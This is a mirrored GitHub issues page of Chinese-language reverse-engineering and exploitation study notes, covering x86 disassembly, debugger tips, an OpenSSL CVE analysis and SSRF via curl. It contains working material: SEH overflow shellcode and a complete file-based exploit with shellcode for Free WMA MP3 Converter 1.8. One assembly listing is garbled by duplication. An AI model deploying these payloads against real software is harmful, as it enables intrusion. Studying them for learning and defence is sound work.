GithubHelp home page GithubHelp logo

articles's People

Contributors

xinali avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

articles's Issues

逆向简单随笔

逆向tips(简单随笔)

下面列出的就是一般程序中常用的从网络套接字中读取数据的 API 函数

read/write   
recv/send   
recvfrom/sendto   
WSARecv/WSASend   
WSARecvFrom/WSASendTo   
ioctl   octlsocket   
WSARecvDisconnect/WSASendDisconnect   
WSARecvEx/WSASendEx   
recvmsg/sendmsg   
WSARecvMsg/WSASendMsg

函数堆栈初始化

push        ebp  //栈底压栈
mov         ebp,esp //栈底下移,更详细的请参考我关于ebp,esp的解释
sub         esp,0CCh //局部变量预留空间
push        ebx  //保存ebx  
push        esi  //保存esi  
push        edi  //保存edi  
lea         edi,[ebp-0CCh] //下移edi到栈顶
mov         ecx,33h //0CCh/4 = 33h
mov         eax,0CCCCCCCCh //eax赋值
rep stos    dword ptr es:[edi] //从edi开始做33h次赋值0CCCCCCCCh ,初始化栈内存

运行时错误检查

mov     esi, esp
mov     eax, [ebp+Test.m_nInt]
push    eax
push    offset Format   ; "CTest: %d \r\n"
call    ds:__imp__printf
add     esp, 8
cmp     esi, esp
call    j___RTC_CheckEsp
call    j_?eof@?$char_traits@D@std@@SAHXZ ; std::char_traits<char>::eof(void)
mov     esi, esp

主要体现在

mov esi, esp
cmp esi, esp

c++ 类 this 指针使用

  1. 通过ecx传递(调用方式thiscall)
    c++ 源代码
class CTest {
	public:
		//void __stdcall SetNumber(int nNumber) {
		void SetNumber(int nNumber) {
			m_nInt = nNumber;
		}

	public:
		int m_nInt;
};

int _tmain(int argc, _TCHAR* argv[])
{
	CTest Test;
	Test.SetNumber(5);
	printf("CTest: %d \r\n", Test.m_nInt);
	std::cin.ignore();
}

对应的反汇编代码

009513EE                               6A 05                   push 0x5
009513F0                               8D4D F8                 lea ecx,dword ptr ss:[ebp-0x8]  ; 获取this指针
009513F3                               E8 F8FCFFFF             call test.009510F0
009513F8                               8BF4                    mov esi,esp
009513FA                               8B45 F8                 mov eax,dword ptr ss:[ebp-0x8]  ;  kernel32.7649336A
009513FD                               50                      push eax                 ; kernel32.BaseThreadInitThunk
009513FE                               68 30589500             push test.00955830              ; CTest: %d \r\n
00951403                               FF15 50839500           call dword ptr ds:[<&MSVCR100D.printf>]          ; msvcr100.printf
  1. 通过参数传递

c++ 源代码(调用方式__stdcall)

class CTest {
	public:
		void __stdcall SetNumber(int nNumber) {
			m_nInt = nNumber;
		}
	public:
		int m_nInt;
};

int _tmain(int argc, _TCHAR* argv[])
{
	CTest Test;
	Test.SetNumber(5); 
	printf("CTest: %d \r\n", Test.m_nInt);
}

对应的反汇编代码

011513EE                               6A 05                   push 0x5
011513F0                               8D45 F8                 lea eax,dword ptr ss:[ebp-0x8] ;this指针使用参数传递
011513F3                               50                      push eax                                         ; kernel32.BaseThreadInitThunk
011513F4                               E8 F7FCFFFF             call test.011510F0


011514E0 test.CTest::SetNumberc_erro>  55                      push ebp
011514E1                               8BEC                    mov ebp,esp
011514E3                               81EC C0000000           sub esp,0xC0
011514E9                               53                      push ebx
011514EA                               56                      push esi
011514EB                               57                      push edi
011514EC                               8DBD 40FFFFFF           lea edi,dword ptr ss:[ebp-0xC0]
011514F2                               B9 30000000             mov ecx,0x30
011514F7                               B8 CCCCCCCC             mov eax,0xCCCCCCCC
011514FC                               F3:AB                   rep stos dword ptr es:[edi]
011514FE                               8B45 08                 mov eax,dword ptr ss:[ebp+0x8] ;取得this指针(第一个参数)
01151501                               8B4D 0C                 mov ecx,dword ptr ss:[ebp+0xC] ;取得第二个参数
01151504                               8908                    mov dword ptr ds:[eax],ecx
01151506                               5F                      pop edi                                          ; kernel32.7649336A
01151507                               5E                      pop esi                                          ; kernel32.7649336A
01151508                               5B                      pop ebx                                          ; kernel32.7649336A
01151509                               8BE5                    mov esp,ebp
0115150B                               5D                      pop ebp                                          ; kernel32.7649336A
0115150C                               C2 0800                 retn 0x8

TIPS

  1. 类中对象的数据成员传参顺序:最先定义的数据成员最后压栈,最后定义的数据成员最先压栈。

  2. 类中没有数据成员,而编译器为我们添加了vptr

  3. 在调试泡泡堂程序的过程中,在send设下了断点,一直提示设置的断点范围不在程序范围内,解决办法

    在设置里options->debug options->security->warn when breakpoint is outside the code section

问题

线程发包 ==> 跳出线程

心跳包的地址不固定,但是每次运行开始,到进入游戏,心跳发包的线程应该是一样的,因为socket id和相关的buff地址是一样的

ollydbg单线程调试,一个线程启动,别的线程挂起。

ollydbg自带的调用栈不可信,应该使用堆栈里面提供的调用栈,这个才是实时的调用栈。

如何从send函数中跳出

原理就是跟踪写入send参数buff的函数,可以这样解释

send(socket_id, len, buff, flags),为了程序的性能问题,一般的游戏会把send/recv放在线程中,加解密又是在另一部分,send函数肯定不会改变buff的数据值,那么能够改变buff值的一般也就是加解密函数了,所以我们使用内存断点在buff的地址设下写断点,这样就可以找到加解密改变buff数据的函数了,同样的也就成功的跳出了,发包线程,不会一直在线程中循环。

关于壳

壳一般是对程序进行压缩或者加密,无法进行动态或者静态调试

动态调试:

  1. 成功脱壳,之后进行调试
  2. 壳一般会检测调试软件的进程,发现了调试进程就直接退出,如果能够不让其发现调试进程或是骗过调试进程,就能够成功的进行程序的调试(刘庆民的od就是利用了这个方式),但是这里也有疑问,这个壳没有去除,是否会影响对于代码的检查和程序逻辑思路的推理呢?

可以根据刘庆民的绕过方法,进行进一步的探索延伸学习!

关于函数参数地址传递参数的理解

void f1 (int x, int y, int *sum, int *product)
{
    *sum=x+y;
    *product=x*y;
};

int sum, product;

int main()
{
    f1(123, 456, &sum, &product);
    printf ("sum=%d, product=%d", sum, product);
    return 0;
};

对应的反汇编代码

sum DD  01H DUP (?)
product DD 01H DUP (?)
$SG5336 DB        'sum=%d, product=%d', 00H
EXTRN   ___acrt_iob_func:PROC
EXTRN   ___stdio_common_vfprintf:PROC
_main   PROC
        push     ebp
        mov      ebp, esp
        push     OFFSET ?product@@3HA
        push     OFFSET ?sum@@3HA
        push     456                    ; 000001c8H
        push     123                    ; 0000007bH
        call     ?f1@@YAXHHPAH0@Z
        add      esp, 16              ; 00000010H
        mov      eax, DWORD PTR product
        push     eax
        mov      ecx, DWORD PTR sum
        push     ecx
        push     OFFSET $SG5336
        call     _printf
        add      esp, 12              ; 0000000cH
        xor      eax, eax
        pop      ebp
        ret      0
_main   ENDP
_x$ = 8                                       ; size = 4
_y$ = 12                                                ; size = 4
_sum$ = 16                                          ; size = 4
_product$ = 20                                      ; size = 4
f1 PROC
        push     ebp
        mov      ebp, esp
        sum DD  01H DUP (?)
product DD 01H DUP (?)
$SG5336 DB        'sum=%d, product=%d', 00H
EXTRN   ___acrt_iob_func:PROC
EXTRN   ___stdio_common_vfprintf:PROC
_main   PROC
        push     ebp
        mov      ebp, esp
        push     OFFSET ?product@@3HA
        push     OFFSET ?sum@@3HA
        push     456                    ; 000001c8H
        push     123                    ; 0000007bH
        call     ?f1@@YAXHHPAH0@Z
        add      esp, 16              ; 00000010H
        mov      eax, DWORD PTR product
        push     eax
        mov      ecx, DWORD PTR sum
        push     ecx
        push     OFFSET $SG5336
        call     _printf
        add      esp, 12              ; 0000000cH
        xor      eax, eax
        pop      ebp
        ret      0
_main   ENDP
_x$ = 8                                       ; size = 4
_y$ = 12                                                ; size = 4
_sum$ = 16                                          ; size = 4
_product$ = 20                                      ; size = 4
f1 PROC
        push     ebp
        mov      ebp, esp
        mov      eax, DWORD PTR _x$[ebp]
        add      eax, DWORD PTR _y$[ebp]
        mov      ecx, DWORD PTR _sum$[ebp]
        mov      DWORD PTR [ecx], eax
        mov      edx, DWORD PTR _x$[ebp]
        imul     edx, DWORD PTR _y$[ebp]
        mov      eax, DWORD PTR _product$[ebp]
        mov      DWORD PTR [eax], edx
        pop      ebp
        ret      0
f1 ENDP
        pop      ebp
        ret      0
f1 ENDP

这里有一个地方是我一直不理解的,其中有问号的地方

mov      eax, DWORD PTR _x$[ebp]
add      eax, DWORD PTR _y$[ebp]
mov      ecx, DWORD PTR _sum$[ebp]  ???
mov      DWORD PTR [ecx], eax
mov      edx, DWORD PTR _x$[ebp]
imul     edx, DWORD PTR _y$[ebp]
mov      eax, DWORD PTR _product$[ebp] ???
mov      DWORD PTR [eax], edx

f1函数中直接将参数的值给了ecx和eax,既然是地址传递,我一直觉得这里应该用lea命令,将参数的地址赋值出来,但是我们结合main函数的汇编代码,我们就能看出来了,main 函数里面push的就是地址,所以我们可以知道,ebp+n的参数值本身就是一个地址,我们要是利用lea,取地址之后再取地址,这里不是我们所期望的,所以正确的应该是将ebp+n的值(也就是参数的地址)给ecx/eax,之后再将计算的值放入该地址,也就完成了函数的指针传递。

for 循环反汇编基础代码

#include <stdio.h>
void f(int i)
{
    printf ("f(%d)", i);
};
int main()
{
    int i;
    for (i=2; i<10; i++)
    {
        f(i);
    }
    return 0;
};

对应的反汇编代码

_i$ = -4
_main     PROC
        push    ebp
        mov     ebp, esp
        push    ecx
        mov     DWORD PTR _i$[ebp], 2       ; loop initialization
        jmp     SHORT $LN3@main
$LN2@main:
        mov     eax, DWORD PTR _i$[ebp]     ; here is what we do after each iteration:
        add     eax, 1                      ; add 1 to i value
        mov     DWORD PTR _i$[ebp], eax
$LN3@main:
        cmp     DWORD PTR _i$[ebp], 10      ; this condition is checked *before* each iteration
        jge     SHORT $LN1@main             ; if i is biggest or equals to 10, let’s finish loop
        mov     ecx, DWORD PTR _i$[ebp]     ; loop body: call f(i)
        push    ecx
        call    _f
        add     esp, 4
        jmp     SHORT $LN2@main             ; jump to loop begin
$LN1@main:                                  ; loop end
        xor     eax, eax
        mov     esp, ebp
        pop     ebp
        ret     0
_main ENDP

一般分为这几个部分

  1. 开始的初始化
  2. 从初始化跳转到循环的主体执行,主体的开始部分会先判断循环的条件
  3. 循环主题执行完毕,会跳入一个过程,主要是i++

关于fs寄存器

偏移  说明
000  指向SEH链指针
004  线程堆栈顶部
008  线程堆栈底部
00C  SubSystemTib
010  FiberData
014  ArbitraryUserPointer
018  FS段寄存器在内存中的镜像地址
020  进程PID
024  线程ID
02C  指向线程局部存储指针
030  PEB结构地址(进程结构)
034  上个错误号

Win64 下 gs:[30] 是存放 TIB 块的 Self 指针,而在 Win32 下是 fs:[18]

反汇编数组

数组的计数一般存在ecx中,数组的基址靠近esp,msvc一般是[ebp-n+i],n值是其所需的所有的字节数,i的不断递增,访问整个数组。

dword ptr ds[eax-n]

eax并不会解引用,会直接用eax里面的值进行运算,其实细细类比一下就可以理解了,可以从两方面理解

  1. 有中括号的这种才会出现解引用
  2. 平时利用堆栈ss:[ebp-4],也是直接用ebp里面的地址,并不会解引用!

寄存器在参数传递中的作用

⚠️

lea ecx, ss:[ebp-n]
push ecx
call eax

很明显,ecx是通过指针的方式传递的,但是函数执行完之后,ecx的值很有可能会发生改变,我们传递这个地址,只是表明该地址在该函数中的数据会发生改变,不要简单的想着ecx的值不会改变,所以要注意一下这种地址的传递方式!

函数的查看、跟踪等,主要就是看参数和返回值,特别是传递地址时,因为c++会特别多的使用到指针。

对齐方式????

调用方式总结

调用方式 参数入栈方式 恢复栈平衡 使用语言
_stdcall 右—>左 子函数 C++
_fastcall 右—>左 子函数 Delphi
_cdcall 右—>左 母函数 C

delphi 逆向

参数传递与c/c++不同点:

参数1------> EAX 
参数2------> EDX 
参数3------> ECX 

其余参数通过栈的方式传递

在逆向delphi时,不能只看这几个参数所涉及到的寄存器或者是栈数据,比如

00457C96                  FF75 F4               push dword ptr ss:[ebp-0xC]
00457C99                  8D83 18030000         lea eax,dword ptr ds:[ebx+0x318]
00457C9F                  BA 04000000           mov edx,0x4
00457CA4                  E8 93BFFAFF           call CKme.00403C3C

如果仅仅只根据寄存器和栈,函数00403C3C的参数就只是这三个

ss:[ebp-0xc] 最先入栈,最右边的参数
eax 参数1
edx 参数2

在通过ida pro来看看伪代码

int v4; // ebx
int v6; // ST08_4
int v7; // ST04_4
int v8; // ecx
int v35; // [esp+2Ch] [ebp-Ch]
System::__linkproc__ LStrCatN(v4 + 792, 4, v8, v6, v7, v35);

这个是ida pro分析过后的代码,其实我们简单点分析,可以这样分析

sub_00403c3c(eax, edx, ss:[ebp-0x0c])

这样分析完全没有任何问题,函数内部是通过edx来连接几个字符串!

反汇编代码反应了代码的本质,一般也是逻辑最简洁的,感觉有疑问,直接跟进去,多运行几下就可以了

反汇编函数调用

被调用函数能够影响调用函数的方式主要有:

  1. lea 直接将地址(相当于指针)直接当参数传递给被调用函数
  2. ds数据段构成的全局变量
  3. 返回的eax

主要的几种调用方式stdcall,fastcall等都是子函数维持栈的平衡,所以子函数在返回前一般会保持栈平衡

在crackme160 004的逆向中遇到的函数00403c3c这样的“递归”函数(非真正意义上的递归函数),在最后也会保持栈平衡,但是在ida中如果想得到伪代码,还是需要更改汇编代码才行

根据寄存器的值设置条件断点

so上关于寄存器值设置断点

如果需要根据函数的参数设置断点,应该是记录esp的值,而不是ebp的值

逆向工具使用

IDA

  1. *查看结构信息
  2. N重命名标号

OD

####特定模块搜索

Ctrl+E->选中模块->右键->Follow entry,进入需要查找的模块,然后右键->中文搜索引擎->智能搜索

c++逆向重点代码

求字符串长度(release)

mov edi, [ebp+n] ; 获取参数数据
mov ecx, 0xffffffffh ; ecx=-1
xor eax, eax
repne scasb
not ecx
dec ecx

难记的汇编指令

  1. leave相当于

    mov esp, ebp
    pop ebp
    
  2. repe/repne 相等则重复/不想等重复,一般连同scasb使用

    repne scasb
    

    scasb 比较al和di,相当于cmp al, di

  3. Xor eax, ebx 用于判断两数是否相等

  4. cdq 将一个32位有符合数扩展为64位有符号数,数据能表示的数不变,具体是这样实现的,比如eax=fffffffb(值为-5),然后cdq把eax的最高位bit,也就是二进制1,全部复制到edx的每一个bit位,EDX 变成 FFFFFFFF,这时eax与edx连起来就是一个64位数,FFFFFFFF FFFFFFFB ,它是一个 64 bit 的大型数字,数值依旧是 -5。

  5. cmovx x指的是比较形式

IDA pro

快捷键

Ctl+l 搜索所有的函数名称
g 跳转到特定位置
Alt+t 搜索特定的汇编指令
Shift+F12 列出所有字符串

点windows API函数

  1. SetupDiGetDeviceRegistryProperty 查看设备属性(vmware, vbox...)

    BOOL SetupDiGetDeviceRegistryProperty(
      _In_      HDEVINFO         DeviceInfoSet,
      _In_      PSP_DEVINFO_DATA DeviceInfoData,
      _In_      DWORD            Property,
      _Out_opt_ PDWORD           PropertyRegDataType,
      _Out_opt_ PBYTE            PropertyBuffer, //指明设备名称 vmware, vbox, qemu
      _In_      DWORD            PropertyBufferSize,
      _Out_opt_ PDWORD           RequiredSize
    );
    

领悟

有很多情况下,遇到问题没法解决,想了很久也没有任何的思路,可以跳出这个问题,看别的,之后再来看,没准也就可以理解了,想通了。

主要有这种方式

([UNICODE[esp+10]] !="BAR") && ([UNICODE[esp]] =="FOO")
[[STRING[esp+8]] =="FOO"] && [[STRING[esp+4]] !="BAR"] 

并且设置在条件满足是记录相对应的数据

proc near
push esi
mov esi, ecx
mov dword ptr [esi], offset off_40C0D0
mov dword ptr [esi+4], 0BBh
call sub_401EB0
add esp, 18h
pop esi
retn
endp

汇编栈的使用

局部数组变量的存储是连续的,但是如果是通过参数传递进来的,并且这些数据使用的是栈进行临时存储,那么从局部的函数看的话,这些数据是不连续的,局部的函数栈帧中只是存储了这些数组的首字节地址

 -----
|     | ===> 字符串首地址 这种字符串是通过参数传递进来的
 -----
|     | ===> 其他数据
 ----- 

这种是局部数组

 -----
|     | ===> 字符串后四个字符
 -----
|     | ===> 字符串前四个字符
 ----- 

问题

函数的入口:

mainctrstartup

_tmainctrstartup

windows字符串类型

type Meaning in MBCS builds Meaning in Unicode builds
WCHAR wchar_t wchar_t
LPSTR zero-terminated string of char (char*) zero-terminated string of char (char*)
LPCSTR constant zero-terminated string of char (const char*) constant zero-terminated string of char (const char*)
LPWSTR zero-terminated Unicode string (wchar_t*) zero-terminated Unicode string (wchar_t*)
LPCWSTR constant zero-terminated Unicode string (const wchar_t*) constant zero-terminated Unicode string (const wchar_t*)
TCHAR char wchar_t
LPTSTR zero-terminated string of TCHAR (TCHAR*) zero-terminated string of TCHAR (TCHAR*)
LPCTSTR constant zero-terminated string of TCHAR (const TCHAR*) constant zero-terminated string of TCHAR (const TCHAR*)

##重点消息数值

 WM_CLOSE(16)
 WM_INITDIALOG(272)
 WM_COMMAND(273)

汇编串操作

移动串指令: **MOVSB**、**MOVSW**、**MOVSD** ;从 ESI -> EDI; 执行后, ESI 与 EDI 的地址移动相应的单位****

比较串指令: **CMPSB**、**CMPSW**、**CMPSD** ;比较 ESI、EDI; 执行后, ESI 与 EDI 的地址移动相应的单位****

扫描串指令: **SCASB**、**SCASW**、**SCASD** ;依据 AL/AX/EAX 中的数据扫描 EDI 指向的数据, 执行后 EDI 自动变化****

储存串指令: **STOSB**、**STOSW**、**STOSD** ;将 AL/AX/EAX 中的数据储存到 EDI 给出的地址, 执行后 EDI 自动变化****

载入串指令: **LODSB**、**LODSW**、**LODSD** ;将 ESI 指向的数据载入到 AL/AX/EAX, 执行后 ESI 自动变化****

其中的 B、W、D 分别指 ****Byte、********Word、********DWord, 表示每次操作的数据的大小单位.

上述指令可以有重复前缀:

**REP**             ECX**** > 0**** 时

**REPE** (或 **REPZ**)  ECX**** > 0**** 且 ZF=1**** 时

**REPNE**(或 **REPNZ**) ECX**** > 0**** 且 ZF=0**** 时

;重复前缀可以自动按单位(1、2、4)递减 ECX****

GetLastError()从 TEB 的 LastErrorValue 处得到错误码。

##调试子进程 建议用windbg

用命令
.childdbg 1

经典猜题思路

  1. 作者是懂汇编的,且程序是用汇编写的。因为3连call只能是人为设计的

  2. write up中有意思的猜想:

    1. 作者修改了_scanf的代码,获取input数据,并且以此修改key处的数据。
    2. 利用缓冲区溢出漏洞,retn跳转到其他地方,在那里输入的值被获取,并且处理,然后影响注册的成败

    我其实一开始以为的是第一种可能性,就差逆出scanf算法看他有什么猫腻了。。结果想想其实不是,因为IDA识别出了他是_scanf这个函数。如果作者修改了这个函数,IDA可能识别不出来这是个_scanf。

疑难点(知识盲点)

cdecl栈平衡

cdecl的栈平衡是通过母函数实现的,这句话主要的含义是这样的

push eax
push ecx
call xx.40xxxx
add esp, 0x8

并不是说其内部的栈是不平衡的,而是说参数的入栈是需要通过母函数来进行平衡的!

参考

反调试详解

Stackoverflow + SEH的利用

Stackoverflow + SEH的利用

SEH概述

SEH即异常处理结构体,是windows异常处理中使用的一种数据结构,每个SEH包含两个DWORD指针:SEH链表指针和异常处理函数句柄。

+------------------------+
|DWORD: Next SEH Recoder |
+------------------------+
|DWORD: Exception Handler| 
+------------------------+
  1. SEH 存在于系统栈中,线程初始化时会自动安装一个SEH
  2. 如果代码中使用了try/except/Asset等,编译器会向当前函数栈中插入一个SEH,从而实现异常处理。
  3. 栈中的多个SEH会通过链表指针由栈顶串成一个单向链表,最顶端的SEH由TEB 0字节偏移处的指针表示。
  4. 当异常发生时,操作系统会中断程序,首先从TEB中的0字节偏移处取出距离栈顶最近的SEH,之后使用异常处理函数句柄所指代码处理异常

栈溢出中的利用

测试shellcode溢出位置代码:

#include <windows.h>
#include <string.h>

char shellcode[] = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae"


DWORD MyExceptionhandler(void)
{
    printf("got an exception, press enter to kill process!\n");
    getchar();
    ExitProcess(1);
}

void test(char *input)
{
    char buf[200];
    int zero = 0;
    //__asm int 3
    __try
    {
        strcpy(buf, input);
        zero = 4/zero;
    }
    __except (MyExceptionhandler()){}
}

int main()
{
    test(shellcode);
	  return 0;
}

产生错误之后,寄存器

根据eip,得到溢出长度为212,如果在没有源码的前提下,那么可以生成一个长度216的字符串,找到具体出错函数位置

进入sub_401020函数查看

根据汇编代码,sub_401020将arg_0数据复制到了ebp+var_E0中,在这里导致栈溢出!只需要找到ebp+var_E0位置即可


在win2000pro下的地址为0012fe98,根据0day中以前使用的shellcode,可以构造如下shellcode

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x98\xFE\x12\x00";

shellcode开始和结尾使用\x90是为了shellcode的稳定,之后成功弹窗

DWORD SHOOT中的SEH

FREE WMA MP3 CONVERTER 1.8缓冲区溢出漏洞复现

FREE WMA MP3 CONVERTER 1.8缓冲区溢出漏洞复现

漏洞概述

漏洞来源exploit-db

首先生成测试字符串

#encoding:utf-8

import sys
from pwnlib.util.cyclic import cyclic, cyclic_find

def usage():
    print """
====================================================
        [*] python genseq.py s/g arg"
        example:
        generate: python genseq.py g 1000
        search: python genseq.py s abcd
====================================================
        """

if __name__ == "__main__":
    if len(sys.argv) < 2:
        usage()
        sys.exit(1)

    op = sys.argv[1]
    try:
        if op == 'g':
            gen_len = sys.argv[2]
            print cyclic(int(gen_len))
        elif op == 's':
            search_ch = sys.argv[2]
            print cyclic_find(search_ch)

    except Exception as ex:
        print ex
        usage()

生成一个10000长度的wav文件,打开CONVERTER,并利用windbg附加

开始转换,程序崩溃

定位漏洞

kb查看调用栈

可以看到调用栈全被数据填充,根据eip定位溢出长度

0:003> .formats(eip)
Evaluate expression:
  Hex:     61657062
  Decimal: 1634037858
  Octal:   14131270142
  Binary:  01100001 01100101 01110000 01100010
  Chars:   aepb
  Time:    Tue Oct 12 04:24:18 2021
  Float:   low 2.64525e+020 high 0
  Double:  8.07322e-315

利用上面的程序寻找一下:

python genseq.py s bpea
4112

可以看到当字符串长度达到4112时即可覆盖eip,程序并没有对传入的字符进行长度检查,所以可以构造shellcode

poc + eip + nops + shellcode

其中poc长度4112,eip地址为搜索到的jmp esp

利用其给出的shellcode测试

import struct
def little_endian(address):
  return struct.pack("<L",address)
poc="\x41" * 4112
eip=little_endian(0x0045CD1A)#0045CD1A   FFE4  JMP ESP
nops="\x90" * 80
shellcode=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38"
"\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf"
"\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49"
"\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c"
"\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda"
"\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46"
"\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66"
"\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42"
"\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6"
"\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35"
"\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b"
"\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2"
"\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52"
"\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55"
"\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b"
"\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37"
"\x8b\x15\x7b\xd2\x2b\xbf\x83")
exploit = poc + eip + nops + shellcode
try:
    rst= open("bof_WMA MP3 Converter.wav",'w')
    rst.write(exploit)
    rst.close()
except:
    print "Error"

弹出计算器

openssl CVE-2016-0799分析

openssl CVE-2016-0799分析

环境准备

git clone https://github.com/openssl/openssl

漏洞分析

利用github直接搜索

1555943154416

可以看到存在解决这个问题的commit,进入

1555943313776

commit做了很完善的说明,那就根据commit说明来具体看一下为什么会出现这个问题,切换到其父commit

git checkout 069c3c0908dfa8418753d0c25890a9d4fb67178d

首先出现问题的最主要的函数是这个

static void
doapr_outch(char **sbuffer,
            char **buffer, size_t *currlen, size_t *maxlen, int c)
{
    /* If we haven't at least one buffer, someone has doe a big booboo */
    assert(*sbuffer != NULL || buffer != NULL);

    /* |currlen| must always be <= |*maxlen| */
    assert(*currlen <= *maxlen);

    if (buffer && *currlen == *maxlen) {
        *maxlen += 1024;
        if (*buffer == NULL) {
            *buffer = OPENSSL_malloc(*maxlen);
            if (*buffer == NULL) {
                /* Panic! Can't really do anything sensible. Just return */
                return;
            }
            if (*currlen > 0) {
                assert(*sbuffer != NULL);
                memcpy(*buffer, *sbuffer, *currlen);
            }
            *sbuffer = NULL;
        } else {
            *buffer = OPENSSL_realloc(*buffer, *maxlen);
            if (!*buffer) {
                /* Panic! Can't really do anything sensible. Just return */
                return;
            }
        }
    }

    if (*currlen < *maxlen) {
        if (*sbuffer)
            (*sbuffer)[(*currlen)++] = (char)c;
        else
            (*buffer)[(*currlen)++] = (char)c;
    }
    return;
}

这个函数可能会出现如下问题

1. 没有错误处理,导致错误
2. size_t溢出,导致错误

而且根据这里

 if (*currlen < *maxlen) {
        if (*sbuffer)
            (*sbuffer)[(*currlen)++] = (char)c;
        else
            (*buffer)[(*currlen)++] = (char)c;
    }

可以基本推测,该函数肯定是会被循环调用的。

考虑这么一种情况在

条件 结果
第一次buffer && *currlen == *maxlen执行后 *sbuffer=NULL
第二次buffer && *currlen == *maxlen执行后 如果relloc分配失败,*buffer=NULL

再次循环来到这里

if (*currlen < *maxlen) {
        if (*sbuffer)
            (*sbuffer)[(*currlen)++] = (char)c;
        else
            (*buffer)[(*currlen)++] = (char)c;
    }

*sbuffer==NULL,进入

(*buffer)[(*currlen)++] = (char)c;

*buffer==NULL,而currlen不可控,可直接导致内存被改写

总结

  1. 分配失败,尽量直接处理
  2. 考虑整数溢出的问题

参考

OpenSSL CVE-2016-0799: heap corruption via BIO_printf

SSRF漏洞研究(完善中)

SSRF 利用

SSRF目前我所见过的主要攻击本地服务器主要有两种方式一个是利用redis,另一种是利用Memcached
进行SSRF攻击,利用最多的库就是libcurl,比如php中的curl_execcurl命令行等,可以先具体看看curl在SSRF中的作用。

SSRF 客户端主要利用方式

curl支持的协议

查看curl支持的协议

# curl -V
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp 

我们通过使用curl的几个协议可以知道,入侵主机的一些程序信息

  1. dict
attacker.com $ curl 'dict://victim.com:2323'
victim.com   $ nc -lvvp 2323 Listening on [0.0.0.0] (family 0, port 2323)                               
Connection from xxx 33442 received!  
